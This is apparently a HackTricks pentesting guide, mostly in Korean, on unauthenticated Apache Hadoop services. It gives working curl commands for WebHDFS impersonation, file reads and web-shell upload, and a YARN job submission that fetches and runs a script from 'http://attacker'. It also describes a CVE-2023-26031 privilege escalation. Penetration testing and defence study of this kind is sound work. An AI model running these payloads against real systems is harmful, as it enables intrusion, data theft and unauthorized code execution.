50030-50060-50070-50075-50090 - Pentesting Hadoop
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Apache Hadoop는 오픈 소스 프레임워크로서 컴퓨터 클러스터 전반에서 대규모 데이터셋의 분산 저장 및 처리를 제공합니다. 저장에는 HDFS를, 처리에는 MapReduce를 사용합니다.
유용한 기본 포트:
- 50070 / 9870 NameNode (WebHDFS)
- 50075 / 9864 DataNode
- 50090 Secondary NameNode
- 8088 YARN ResourceManager web UI & REST
- 8042 YARN NodeManager
- 8031/8032 YARN RPC (often forgotten and still unauth in many installs)
안타깝게도 문서 작성 시점에 Hadoop은 Metasploit 프레임워크에서 지원되지 않습니다. 대신 다음 Nmap scripts를 사용해 Hadoop 서비스를 열거할 수 있습니다:
hadoop-jobtracker-info (Port 50030)hadoop-tasktracker-info (Port 50060)hadoop-namenode-info (Port 50070)hadoop-datanode-info (Port 50075)hadoop-secondary-namenode-info (Port 50090)
기본 설정에서는 Hadoop이 인증 없이 동작한다는 것을 반드시 유의하세요. 다만 보안을 강화하려면 HDFS, YARN, MapReduce 서비스에 Kerberos를 통합할 수 있는 구성 옵션이 있습니다.
WebHDFS / HttpFS abuse (50070/9870 or 14000)
설정이 security=off인 경우 user.name 파라미터로 임의의 사용자로 가장할 수 있습니다. 몇 가지 간단한 기법:
# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"
# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"
# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'
HttpFS가 활성화되어 있으면 (기본 포트 14000) 동일한 REST 경로가 적용됩니다. Kerberos 뒤에서는 유효한 티켓으로 curl --negotiate -u :를 여전히 사용할 수 있습니다.
YARN unauth RCE (8088)
The ResourceManager REST API는 기본 “simple” 모드 (dr.who)에서 인증 없이 작업 제출을 허용합니다. 공격자는 이를 악용해 HDFS 쓰기 권한 없이 임의의 명령(예: miners)을 실행합니다.
# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application
# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'
포트 8031/8032 RPC가 노출되어 있으면, 구형 클러스터는 protobuf를 통해 인증 없이 동일한 작업 제출을 허용합니다(여러 cryptominer 캠페인에서 문서화됨) — 해당 포트들도 RCE로 간주하세요.
YARN containers에서의 Local PrivEsc (CVE-2023-26031)
Hadoop 3.3.1–3.3.4 container-executor는 relative RUNPATH에서 라이브러리를 로드합니다. YARN containers를 실행할 수 있는 사용자(보안이 취약한 클러스터의 원격 제출자 포함)는 쓰기 가능한 경로에 악성 libcrypto.so를 내려놓고 container-executor가 SUID로 실행될 때 root 권한을 얻을 수 있습니다.
빠른 확인:
readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable
버전 3.3.5에서 수정됨; secure containers가 필요하지 않다면 binary가 SUID가 아니도록 확인하세요.
참고자료
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


